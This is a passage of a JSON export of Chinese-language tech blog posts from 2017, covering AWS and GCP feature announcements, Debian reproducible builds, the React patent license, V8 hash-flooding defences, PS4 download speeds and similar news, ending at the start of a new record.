This is now prevented by forbidding such a hostname and port number (again, which should not impact any real-world usage).</li>\r\n\t<li>In the same spirit, a repository name that begins with a dash \"-\" is also forbidden now.</li>\r\n</ul></blockquote>\r\n\r\n然後中華電信的 DNS server (168.95.1.1 &amp; 168.95.192.1) 都查不到 <code>marc.info</code>，改用 <a href=\"https://www.google.com/\">Google</a> 的 8.8.8.8 才查得到... =_=",
    "title": "在 Git/Mercurial/Subversion 上 \"-\" 發生的問題"
  },
  {
    "id": "7512",
    "body": "看到 <a href=\"https://www.mathcha.io/\">Mathcha</a> 這個網站，除了可以輸入 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 的公式外，也有 WYSIWYG 的方式輸入，而最後可以輸出成各種格式 (包括 TeX)，或是直接丟連結給其他人：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cTgweet.webp\" /><img src=\"https://i.gslin.com/imgur/cTgweet.jpg\" alt=\"\" /></picture>\r\n\r\n輸入的部份，對於不知道的符號葉可以用畫的 XD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/C4S7Dcq.webp\" /><img src=\"https://i.gslin.com/imgur/C4S7Dcq.jpg\" alt=\"\" /></picture>\r\n\r\n然後網站上的標示寫沒有支援 IE 與 Edge，不知道是真得不支援還是沒列上去而已... XD",
    "title": "打數學式子的工具"
  },
  {
    "id": "7513",
    "body": "參考「<a href=\"https://blog.adguard.com/en/ad-blocking-is-under-attack/\">Ad blocking is under attack</a>」這邊，有業主 <code>functionalclam.com</code> 透過 DMCA takedown notice 發信要求 <a href=\"https://easylist.to/\">Easylist</a> 移除過濾條件 (參考「<a href=\"https://github.com/github/dmca/blob/ff44d37f62d772bfec5fd4327e4a2009b9ad47aa/2017/2017-08-02-LevenLabs.md\">2017-08-02-LevenLabs.md</a>」)，對應的 commit 參考「<a href=\"https://github.com/easylist/easylist/commit/a4d380ad1a3b33a0fab679a1a8c5a791321622b3\">M: Removed due to DMCA takedown request</a>」) 這邊。\r\n\r\n這件事情再次證實了 DMCA takedown notice 被濫用的情況，明明不是侵權的情況卻被拿來濫用 (因為對原提出者唯一的處罰必須過反過來提告，然後要得自己舉證因為這樣受損)。\r\n\r\n目前看起來 <a href=\"https://www.eff.org/\">EFF</a> 願意介入，就來看看後續了。",
    "title": "透過 DMCA takedown notice 非法下掉 Easylist 內的過濾條件"
  },
  {
    "id": "7514",
    "body": "<a href=\"https://www.debian.org/\">Debian</a> 在討論 package 的可重製性：「<a href=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=844431\">debian-policy: Packages should be reproducible</a>」。本來的討論其實還好，在 2017/08/12 的 <a href=\"https://debconf17.debconf.org/\">DebConf17</a> 後，看起來有一些人取得共識，於是討論熱了起來... 有興趣的人可以從 <a href=\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=844431#107\">Message #107</a> 開始看。\r\n\r\nDebian 社群想做的事情是「給足夠的資訊以及 source code，就能產生出一模一樣的 binary package」，這樣就不需要盲目信任 Debian 官方。\r\n\r\nDebian 官方的 Wiki 上有「<a href=\"https://wiki.debian.org/ReproducibleBuilds/Howto\">ReproducibleBuilds Howto</a>」可以參考，然後也看到「<a href=\"https://reproducible-builds.org/\">reproducible-builds.org</a>」這個站。",
    "title": "Debian 對 Reproducible Build 的討論"
  },
  {
    "id": "7515",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 也可以透過 <a href=\"https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/vpc-endpoints.html\">VPC Endpoint</a> 存取了：「<a href=\"https://aws.amazon.com/blogs/aws/new-vpc-endpoints-for-dynamodb/\">New – VPC Endpoints for DynamoDB</a>」。\r\n\r\n這樣一來，除了 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 可以在 private network 內存取外，DynamoDB 也可以直接存取了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JazD8HK.webp\" /><img src=\"https://i.gslin.com/imgur/JazD8HK.jpg\" alt=\"\" /></picture>\r\n\r\nVPC Endpoint 主要是解決對於安全性與頻寬的需求，不過什麼時候會出一般性的 VPC Endpoint 啊，而非個別服務個別設計打洞...",
    "title": "DynamoDB 也可以透過 VPC Endpoint 存取了"
  },
  {
    "id": "7516",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">CAA record</a> 了：「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=4799\">Announcement: Announcement: Amazon Route 53 now supports CAA records</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/08/amazon-route-53-now-supports-caa-records/\">Amazon Route 53 now supports CAA records</a>」。\r\n\r\n這是一個被動性的 workaround，要求 CA 本身要支援 DNS CAA，所以他沒辦法防止 CA 本身作惡誤簽，但因為負作用與技術債的可能性不高，在 <a href=\"https://cabforum.org/\">CA/Browser Forum</a> 上被通過強制要求支援了。(參考「<a href=\"https://blog.gslin.org/archives/2017/03/26/7215/%E6%9C%AA%E4%BE%86-ca-%E5%B0%87%E6%9C%83%E5%BC%B7%E5%88%B6%E8%A6%81%E6%B1%82%E6%AA%A2%E6%9F%A5-dns-caa-record/\">未來 CA 將會強制要求檢查 DNS CAA record</a>」)\r\n\r\n<a href=\"https://www.gandi.net/\">Gandi</a> 的 DNS 服務也支援了 (要透過 export mode，參考「<a href=\"https://wiki.gandi.net/en/ssl/caa\">How can I add a CAA record?</a>」)，不過 <a href=\"https://www.linode.com/\">Linode</a> 還沒做...",
    "title": "Amazon Route 53 支援 CAA record 了"
  },
  {
    "id": "7517",
    "body": "現在可以透過 <a href=\"https://aws.amazon.com/aws-cost-management/aws-budgets/\">AWS Budgets</a> 來看到 Reserved Instance 的使用率了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/08/monitor-your-reserved-instance-utilization-by-receiving-alerts-via-aws-budgets/\">Monitor your Reserved Instance utilization by receiving alerts via AWS Budgets</a>」。\r\n\r\n<blockquote>Starting today, customers can now monitor and receive alerts when their Reserved Instance (“RI”) utilization falls below the threshold they define.</blockquote>\r\n\r\n算是個開頭，不過我更想請 <a href=\"https://aws.amazon.com/\">AWS</a> 分析有哪些機器是長年開著沒有 discount 的... 或者像是 <a href=\"https://cloud.google.com/\">GCP</a> 那樣自動算 :o",
    "title": "透過 AWS Budgets 管控 Reserved Instance 的使用率"
  },
  {
    "id": "7518",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://aws.amazon.com/\">AWS</a> 可以要回放掉的 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html\">Elastic IP</a> 了。當然，這不保證會成功：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Amazon VPC now allows you to recover accidentally released EIPs. <a href=\"https://t.co/vWkBamNLYD\">https://t.co/vWkBamNLYD</a> <a href=\"https://t.co/Bhk9339CT2\">pic.twitter.com/Bhk9339CT2</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/899728175667843073\">August 21, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n文件在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-eip-recovering\">Recovering an Elastic IP Address</a>」這邊，目前只支援 API 以及對應的 command line 工具：\r\n\r\n<blockquote>Currently, you can recover an Elastic IP address using the Amazon EC2 API or a command line tool only.</blockquote>\r\n\r\n指令像這樣：\r\n\r\n<pre>aws ec2 allocate-address --domain vpc --address 203.0.113.3</pre>",
    "title": "AWS 提供要回放掉的 Elastic IP 的功能"
  },
  {
    "id": "7519",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 推出了 Dedicated IP Pool：「<a href=\"https://aws.amazon.com/blogs/aws/new-ses-dedicated-ip-pools/\">New – SES Dedicated IP Pools</a>」，也就是發信時可以使用自己專屬的 IP address。\r\n\r\n<blockquote>Today we released Dedicated IP Pools for Amazon Simple Email Service (SES). With dedicated IP pools, you can specify which dedicated IP addresses to use for sending different types of email.</blockquote>\r\n\r\n價錢其實不算貴？每個 IP 的費用是 USD$24.95/month，對於量夠大的單位可以避免被其他人影響：\r\n\r\n<blockquote>Dedicated IPs are $24.95 per address per month at the time of this writing – but you can find out more at the pricing page.</blockquote>\r\n\r\n不過 SES 用起來最痛的問題還是在對於收信人不存在時的 bounce rate...",
    "title": "Amazon 的 SES 推出 Dedicated IP Pool"
  },
  {
    "id": "7521",
    "body": "在「<a href=\"https://www.snellman.net/blog/archive/2017-08-19-slow-ps4-downloads/\">Why PS4 downloads are so slow</a>」這篇作者花了不少力氣找出原因，發現 PS4 下載速度很慢是故意的... 另外討論了在什麼情況下會變慢，以及要怎麼避免的方式。\r\n\r\n懶得看的人可以直接看 Conculsions 那段，主要的原因是 PS4 會因為背景程式而調整 TCP window size (就算背景程式在 idle 也會影響到下載的 TCP window size)，進而影響速度：\r\n\r\n<blockquote>If any applications are running, the PS4 appears to change the settings for PSN store downloads, artificially restricting their speed. Closing the other applications will remove the limit.</blockquote>\r\n\r\n用 TCP window size 來調整速度也算是頗有「創意」的方法...\r\n\r\nAnyway，遇到時的解決方法就是把所有在跑的程式都完整關掉，再下載就會正常多了...",
    "title": "PS4 下載速度很慢的原因"
  },
  {
    "id": "7522",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://stackoverflow.com/questions/40354978/why-is-this-c-code-faster-than-my-hand-written-assembly-for-testing-the-collat\">Why is this C++ code faster than my hand-written assembly for testing the Collatz conjecture?</a>」覺得很有趣...\r\n\r\n作者寫了一段 assembly，但跑起來比用 C++ 同義的版本慢多了。目前最高分的答案給了很清楚的解釋...\r\n\r\n<pre>even:\r\n    mov rbx, 2\r\n    xor rdx, rdx\r\n    div rbx</pre>\r\n\r\n上面這段 code 是作者寫的組語版本，用到 <code>div</code> 指令，這是非常慢的指令：\r\n\r\n<blockquote>On Intel Haswell, div r64 is 36 uops, with a latency of 32-96 cycles, and a throughput of one per 21-74 cycles.</blockquote>\r\n\r\n相較於 C++ 的版本，用到的是 <code>shr</code> (logical shift right，以位元方式往右平移，最高位補零)，速度快太多：\r\n\r\n<blockquote>shr rax, 1 does the same unsigned division: It's 1 uop, with 1c latency, and can run 2 per clock cycle.</blockquote>\r\n\r\n這是用到無號整數透過 <code>shr</code> 平移一格剛好是除以二的特性，因為速度的關係，這個用法到現在還是很常被拿來用，但對於平常沒在寫 assembly 的人就會有上面的誤解 XDDD",
    "title": "C++ 與組語的速度..."
  },
  {
    "id": "7523",
    "body": "Hash Flooding 問題是指 Hash 這個資料結構是可以被預測 collision 所造成的問題，在隨機的情況下會是 [latex]O(1)[/latex] 的操作，在特定挑選故意讓他 collision 而變成 [latex]O(n)[/latex]，當有 [latex]n[/latex] 個元素時，乘起來就會變成 [latex]O(n^2)[/latex]。這算是一種阻斷攻擊 (DoS attack)。\r\n\r\n在「<a href=\"https://v8project.blogspot.com/2017/08/about-that-hash-flooding-vulnerability.html\">About that hash flooding vulnerability in Node.js...</a>」這邊提到了 <a href=\"https://en.wikipedia.org/wiki/Chrome_V8\">V8</a> 之前為了避免 Hash Flooding 的問題，關掉了 Startup snapshot 而造成的效能問題，以及後續的很多故事，最後找了長期的解法。\r\n\r\n這個解法已經併入 <a href=\"https://nodejs.org/\">Node.js</a> 裡，預定下個包括的版本是 8.3.0：\r\n\r\n<blockquote>The patch to re-enable startup snapshot has been merged into Node.js. It is part of the recent Node.js v8.3.0 release.</blockquote>\r\n\r\n不過這表示現有的 LTS (4.8.4 以及 6.11.2) 還是... XD",
    "title": "V8 對 Hash Flooding 的防禦措施"
  },
  {
    "id": "7525",
    "body": "在 <a href=\"https://www.apache.org/\">ASF</a> (Apache Software Foundation) 全面禁止 <a href=\"https://www.facebook.com/\">Facebook</a> 的 BSD+PATENTS 後 (「<a href=\"https://blog.gslin.org/archives/2017/07/18/7450/apache-foundation-%E5%AE%A3%E4%BD%88%E7%A6%81%E6%AD%A2%E4%BD%BF%E7%94%A8-facebook-bsdpatents-%E7%9A%84%E8%BB%9F%E9%AB%94/\">Apache Foundation 宣佈禁止使用 Facebook BSD+Patents 的軟體</a>」)，整件事情開始熱起來了...\r\n\r\n簡單來說，Facebook 有意為之，而且不打算撤回這個有攻擊性的授權模式，參考「<a href=\"https://code.facebook.com/posts/112130496157735/explaining-react-s-license/\">Explaining React's license</a>」這邊官方的說明以及有人寫了一篇解讀：「<a href=\"https://medium.com/@raulk/if-youre-a-startup-you-should-not-use-react-reflecting-on-the-bsd-patents-license-b049d4a67dd2\">If you’re a startup, you should not use React (reflecting on the BSD + patents license)</a>」。\r\n\r\nFacebook 內的意見其實也不一樣，像是 <a href=\"https://yarnpkg.com/\">Yarn</a> 之所以沒有 <code>PATENTS</code> 是因為爭取出來的：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I fought for months for <a href=\"https://twitter.com/yarnpkg\">@yarnpkg</a> to be released without the patent clause.</p>&mdash; Sebastian McKenzie (@sebmck) <a href=\"https://twitter.com/sebmck/status/898960723392557056\">August 19, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n接下來應該會有更多爭議討論了...",
    "title": "React 的專利授權議題"
  },
  {
    "id": "7526",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> (GCP) 的網路總算是推出 Standard Tier 了：「<a href=\"https://cloudplatform.googleblog.com/2017/08/introducing-Network-Service-Tiers-your-cloud-network-your-way.html\">Introducing Network Service Tiers: Your cloud network, your way</a>」。\r\n\r\n之前 GCP 上的網路只有 Premium Tier，也就是封包從 GCP 的平台出來後一定要透過 <a href=\"https://www.google.com/\">Google</a> 自己的網路，到離使用者最近的點後再送到使用者的電腦上... 這樣的好處是 Google 保證他們有很多備援線路，而且也確保 latency 夠低，但缺點就是服務提供者得付這些費用...\r\n\r\n這次推出的 Standard Tier 就像其他雲端平台的作法，在 GCP 機房當地就跟網路業者交換，之後透過 Internet 傳到使用者的電腦上，這樣就會比較便宜：\r\n\r\n<blockquote>With the new Network Tiers pricing (effective at GA), outbound traffic (GCP to internet) is priced 24-33% lower in Standard Tier than in Premium Tier for North America and Europe.</blockquote>\r\n\r\n像是「其實我根本不在意美國以外的使用者」時，機房建在美國，但不會想要付 Premium Tier 的網路費用...",
    "title": "Google Cloud Platform 的網路推出 Standard Tier 了"
  },
  {
    "id": "7529",
    "body": "<a href=\"https://laravel.com/\">Laravel</a> 推出第二個 LTS 版本，5.5 版：「<a href=\"https://laravel-news.com/laravel-5-5\">Laravel 5.5 LTS is Now Released</a>」。\r\n\r\n當初 <a href=\"https://twitter.com/taylorotwell\">Taylor Otwell</a> 對 LTS 還蠻感冒的 (參考去年的 tweet)，居然推出了...\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">nah i don&#39;t think so. LTS is sort of an anti-pattern IMO.</p>&mdash; Taylor Otwell (@taylorotwell) <a href=\"https://twitter.com/taylorotwell/status/809768330118758400\">December 16, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n有 LTS 對於商業應用的維護來說還是方便不少... 大概是考慮到這個原因，所以還是推出了 :o",
    "title": "Laravel 5.5 釋出，第二個 LTS 版本"
  },
  {
    "id": "7530",
    "body": "既有的 <a href=\"https://aws.amazon.com/vpc/\">Amazon VPC</a> 可以增加更多的 subnet 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/08/amazon-virtual-private-cloud-vpc-now-allows-customers-to-expand-their-existing-vpcs/\">Amazon Virtual Private Cloud (VPC) now allows customers to expand their existing VPCs</a>」。\r\n\r\n<blockquote>Amazon Virtual Private Cloud (VPC) now allows customers to expand their VPCs by adding secondary IPv4 address ranges (CIDRs) to their VPCs.</blockquote>\r\n\r\n除了中國與 GovCloud 以外都支援了：\r\n\r\n<blockquote>There is no additional charge to use this feature. This feature is available in all AWS regions except GovCloud and AWS China (Beijing) regions.</blockquote>\r\n\r\n這樣就不用另外開一個 VPC 再用 peering 的方式打通...",
    "title": "既有的 VPC 可以增加更多 subnet 了"
  },
  {
    "id": "7531",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 宣佈支援快速複製：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-aurora-fast-database-cloning/\">Amazon Aurora Fast Database Cloning</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XKvA62C.webp\" /><img src=\"https://i.gslin.com/imgur/XKvA62C.jpg\" alt=\"\" /></picture>\r\n\r\n對於 2TB 的資料大約五分鐘就完成了：\r\n\r\n<blockquote>This means my 2TB snapshot restore job that used to take an hour is now ready in about 5 minutes – and most of that time is spent provisioning a new RDS instance.</blockquote>\r\n\r\n主要是得力於後端 storage 的部份可以實做 copy-on-write 架構：\r\n\r\n<blockquote>By taking advantage of Aurora’s underlying distributed storage engine you’re able to quickly and cheaply create a copy-on-write clone of your database.</blockquote>\r\n\r\n可以快速複製就可以很快的驗證一些事情，像是可以直接測試 <code>ALTER TABLE</code> 需要的時間，或是事前演練...",
    "title": "Amazon Aurora 支援快速複製"
  },
  {
    "id": "7532",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 裡 Security Group 的條件可以寫註解了：「<a href=\"https://aws.amazon.com/blogs/aws/new-descriptions-for-security-group-rules/\">New – Descriptions for Security Group Rules</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gVOryZ8.webp\" /><img src=\"https://i.gslin.com/imgur/gVOryZ8.jpg\" alt=\"\" /></picture>\r\n\r\n這讓其他人比較好理解 (尤其不是常見的 port，或是有些特別的 IP address)，另外也讓容易失憶的自己知道當初在幹什麼 XDDD",
    "title": "AWS 裡 Security Group 的條件可以寫註解了..."
  },
  {
    "id": "7533",
    "body": "<a href=\"http://myrocks.io/\">MyRocks</a> 的主要作者 <a href=\"https://www.facebook.com/Mark.Callaghan\">Mark Callaghan</a> 整理了一篇關於大台機器下，資料可以放到記憶體內的效能比較：「<a href=\"https://smalldatum.blogspot.com/2017/08/in-memory-sysbench-larger-server-and.html\">In-memory sysbench, a larger server and contention - part 1</a>」。\r\n\r\n這其實才是一般會遇到的情況：當事業夠大時，直接花錢買 1TB RAM + 數片 PCI-E SSD 的機器用錢換效能... (主要應該會在記憶體花不少錢，剛剛查了一下，現在白牌的 server 一台大約七十萬就可以擺平？兩台做 HA 也才一百四十萬，對有這個規模的單位來說通常不是大問題...)\r\n\r\n而三種不同的 case 裡面，最後這個應該是最接近真實情況的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WAxwiNO.webp\" /><img src=\"https://i.gslin.com/imgur/WAxwiNO.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 InnoDB 在幾乎所有項目都還是超越 MyRocks (只有 random-points 與 insert-only 輸)。\r\n\r\n不知道後續的開發能量還會有多少... (因為 <a href=\"https://www.facebook.com/\">Facebook</a> 的用法跟一般情況不一樣)",
    "title": "InnoDB 與 MyRocks 之間的取捨"
  },
  {
    "id": "7534",
    "body": "繼 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 推出 Headless 模式後，<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 也推出了：「<a href=\"https://developer.mozilla.org/en-US/Firefox/Headless_mode\">Headless mode</a>」。\r\n\r\n目前正式版是 55 版，只有 <a href=\"https://www.linux.org/\">Linux</a> 版本有支援，下一個版本 56 版就會包括 Windows 與 Mac 了：\r\n\r\n<blockquote>Headless Firefox works on Fx55+ on Linux, and 56+ on Windows/Mac.</blockquote>\r\n\r\n然後大家也都是以 <a href=\"http://www.seleniumhq.org/\">Selenium</a> 為重心，所以使用上應該不會是大問題...",
    "title": "Firefox 的 Headless 模式"
  },
  {
    "id": "7535",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了「<a href=\"https://aws.amazon.com/vmware/\">VMware Cloud on AWS</a>」服務：「<a href=\"https://aws.amazon.com/blogs/aws/vmware-cloud-on-aws-now-available/\">VMware Cloud on AWS – Now Available</a>」。\r\n\r\n由圖可以看出來 AWS 的架構與 <a href=\"https://www.vmware.com/\">VMware</a> 其實是獨立的，只是在網路層上打通：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xanXT4b.webp\" /><img src=\"https://i.gslin.com/imgur/xanXT4b.jpg\" alt=\"\" /></picture>\r\n\r\n文字上可以看到更細的敘述，跟 AWS 的架構很不一樣：\r\n\r\n<blockquote>This offering is sold, delivered, supported, and billed by VMware. It supports custom-sized VMs, runs any OS that is supported by VMware, and makes use of single-tenant bare-metal AWS infrastructure so that you can bring your Windows Server licenses to the cloud. Each SDDC (Software-Defined Data Center) consists of 4 to 16 instances, each with 36 cores, 512 GB of memory, and 15.2 TB of NVMe storage. Clusters currently run in a single AWS Availability Zone (AZ) with support in the works for clusters that span AZs. You can spin up an entire VMware SDDC in a couple of hours, and scale host capacity up and down in minutes.</blockquote>\r\n\r\n網路層也不同，甚至支援 multicase：\r\n\r\n<blockquote>The NSX networking platform (powered by the AWS Elastic Networking Adapter running at up to 25 Gbps) supports multicast traffic, separate networks for management and compute, and IPSec VPN tunnels to on-premises firewalls, routers, and so forth.</blockquote>\r\n\r\n目前只有在 us-west-2 可以用：\r\n\r\n<blockquote>This service is initially available in the US West (Oregon) region through VMware and members of the VMware Partner Network.</blockquote>\r\n\r\n這樣感覺用 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 就可以解不少問題，這個合作的幫助不太大... XD",
    "title": "AWS 推出「VMware Cloud on AWS」"
  },
  {
    "id": "7536",
    "body": "先前 <a href=\"https://typekit.com/\">Typekit</a> 需要使用 JavaScript，現在則是開始嘗試純 CSS 版本了：「<a href=\"https://blog.typekit.com/2017/08/30/css-font-loading/\">Now in Early Access: Serve web fonts without JavaScript</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RPgJoD1.webp\" /><img src=\"https://i.gslin.com/imgur/RPgJoD1.jpg\" alt=\"\" /></picture>\r\n\r\n然後另外發現 <code>use.typekit.net</code> 以前是 <a href=\"https://www.edgecast.com/\">EdgeCast</a>，現在變成 <a href=\"https://www.akamai.com/\">Akamai</a> 了...",
    "title": "Adobe 的 Typekit 在嘗試純 CSS 版本的網頁字型了"
  },
  {
    "id": "7537",
    "body": "<a href=\"https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/\">AWS ALB</a> 推出直接設定 IP address 當作後端伺服器的功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-application-load-balancing-via-ip-address-to-aws-on-premises-resources/\">New – Application Load Balancing via IP Address to AWS & On-Premises Resources</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EGMYxXD.webp\" /><img src=\"https://i.gslin.com/imgur/EGMYxXD.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote><strong>ip</strong> – Targets are registered as IP addresses. You can use any IPv4 address from the load balancer’s VPC CIDR for targets within load balancer’s VPC and any IPv4 address from the RFC 1918 ranges (10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16) or the RFC 6598 range (100.64.0.0/10) for targets located outside the load balancer’s VPC (this includes Peered VPC, EC2-Classic, and on-premises targets reachable over Direct Connect or VPN).</blockquote>\r\n\r\n這樣就能拿 ALB 當 load balancer 把部份內容接到自己機房內的伺服器群了，一種隨便串的概念... (可以透過 <a href=\"https://aws.amazon.com/directconnect/\">AWS Direct Connect</a> 或是 VPN 直接串，所以對外的部份就直接是 AWS 端，對內要怎麼接就隨便接...)",
    "title": "AWS ALB 可以設定 IP address 當作後端伺服器了"
  },
  {
    "id": "7538",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 推出新功能，針對地區微調資源的比重：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/amazon-route-53-traffic-flow-announces-support-for-geoproximity-routing-with-traffic-biasing/\">Amazon Route 53 Traffic Flow Announces Support For Geoproximity Routing With Traffic Biasing</a>」。\r\n\r\n範例大致上說明了這個功能的能力，假設你在兩個點都有服務可以提供，你可以利用這個功能微調某個比率到某個點：\r\n\r\n<blockquote>For example, suppose you have EC2 instances in the AWS US East (Ohio) region and in the US West (Oregon) region. When a user in Los Angeles browses to your website, geoproximity routing will route the DNS query to the EC2 instances in the US West (Oregon) region because it's closer geographically. If you want a larger portion of users in the middle of the United States to be routed to one region, you can specify a positive bias for that region, a negative bias for the other region, or both.</blockquote>\r\n\r\n有點 CDN 的想法在裡面...",
    "title": "Amazon Route 53 對地區的微調功能"
  },
  {
    "id": "7539",
    "body": "主要是看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/08/quick-start-update-deploy-nginx-plus-on-the-aws-cloud/\">Quick Start Update: Deploy NGINX Plus on the AWS Cloud</a>」這篇才知道在 <a href=\"https://aws.amazon.com/marketplace\">AWS Marketplace</a> 上有「<a href=\"https://aws.amazon.com/marketplace/pp/B00UU272MM\">NGINX Plus - Amazon Linux AMI (HVM)</a>」可以用，而且有三十天試用期可以使用：\r\n\r\n<blockquote><strong>30 Day Free Trial Available</strong> - NGINX Plus is a high performance load balancer, edge cache and origin server for web content, streaming media and API traffic. It complements the load balancing capabilities of Amazon ELB and ALB by adding support for multiple HTTP, HTTP/2, and SSL/TLS services, content-based routing rules, caching, autoscaling support, and traffic management policies. NGINX Plus for AWS is provided and supported by the original creators of NGINX web server.</blockquote>\r\n\r\n所有機器的年約都是 USD$2500/year，使用 <code>t2.{nano,micro,small}</code> 的話因為 hourly 的價錢乘以一年後反而還比較便宜，記得別亂買...\r\n\r\n另外這代表可以直接付錢測試功能... (或是免費，如果 free trial 還沒用)",
    "title": "在 AWS 的 NGINX Plus"
  },
  {
    "id": "7540",
    "body": "<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> (GCP) 推出 <a href=\"https://cloud.google.com/interconnect/docs/details/dedicated\">Dedicated Interconnect</a> 了，類似於 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/directconnect/\">Direct Connect</a>：「<a href=\"https://cloudplatform.googleblog.com/2017/09/announcing-dedicated-interconnect-your-fast-private-on-ramp-to-Google-Cloud.html\">Announcing Dedicated Interconnect: your fast, private on-ramp to Google Cloud</a>」。\r\n\r\n不過台灣有機房，反而不支援 XDDD：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/riG7WeK.webp\" /><img src=\"https://i.gslin.com/imgur/riG7WeK.jpg\" alt=\"\" /></picture>\r\n\r\n然後只能用 10Gbps 接，最多到 8*10Gbps...",
    "title": "Google Cloud 也可以拉線路進雲端了..."
  },
  {
    "id": "7541",
    "body": "在 <a href=\"https://cloud.google.com/\">GCP</a> 推出 Standard Tier 後，<a href=\"https://www.keycdn.com/\">KeyCDN</a> 就利用台灣的 GCP 機房建立了 PoP：「<a href=\"https://www.keycdn.com/blog/pop-in-taiwan/\">KeyCDN Launches New POP in Taiwan</a>」。\r\n\r\nGCP 在台灣的 Standard Tier 價錢是：\r\n\r\n<table>\r\n<tr><td>Source geolocation of traffic</td><td>0-10 TB</td><td>10-150 TB</td><td>150-500 TB</td></tr>\r\n<tr><td>From Asia</td><td>$0.11</td><td>$0.075</td><td>$0.07</td></tr>\r\n</table>\r\n\r\nKeyCDN 亞洲區頻寬的價錢則是 USD$0.12/GB，加上機器費用，有機會不虧？",
    "title": "KeyCDN 的台灣 PoP..."
  },
  {
    "id": "7542",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上許多系列最大台的機器現在都可以透過特殊界面跑到 25Gbps 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/09/announcing-improved-networking-performance-for-amazon-ec2-instances/\">Announcing improved networking performance for Amazon EC2 instances</a>」。\r\n\r\n<blockquote>Amazon EC2 instances now provide a maximum bandwidth of 25 Gbps. This feature is available on the largest instance sizes of the M4, X1, P2, R4, I3, F1, and G3 instance types. Using Elastic Network Adapter (ENA) based Enhanced Networking, customers can utilize up to 25 Gbps of bandwidth.</blockquote>\r\n\r\n除了 <a href=\"https://aws.amazon.com/\">AWS</a> 提供的的 AMI 外，另外在一些官方作業系統也都有支援：\r\n\r\n<blockquote>ENA driver is installed in the latest Amazon Machine Images (AMIs) for the following operating systems: Amazon Linux, Ubuntu 14.04 and 16.04, RHEL 7.4, SLES 12, Windows Server 2008R2, 2012, 2012R2 and 2016. ENA Linux driver source code is also available on Github.com for developers to integrate in their AMIs. </blockquote>\r\n\r\n如果不在上面的，也可以透過 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/amzn/amzn-drivers\">amzn/amzn-drivers</a> (Official repository of the Elastic Network Adapter (ENA) network adapter for Linux and FreeBSD operating systems) 自己 porting... (如果你一定要想辦法用的話)",
    "title": "在 EC2 上使用 25Gbps 的網路"
  },
  {
    "id": "7543",
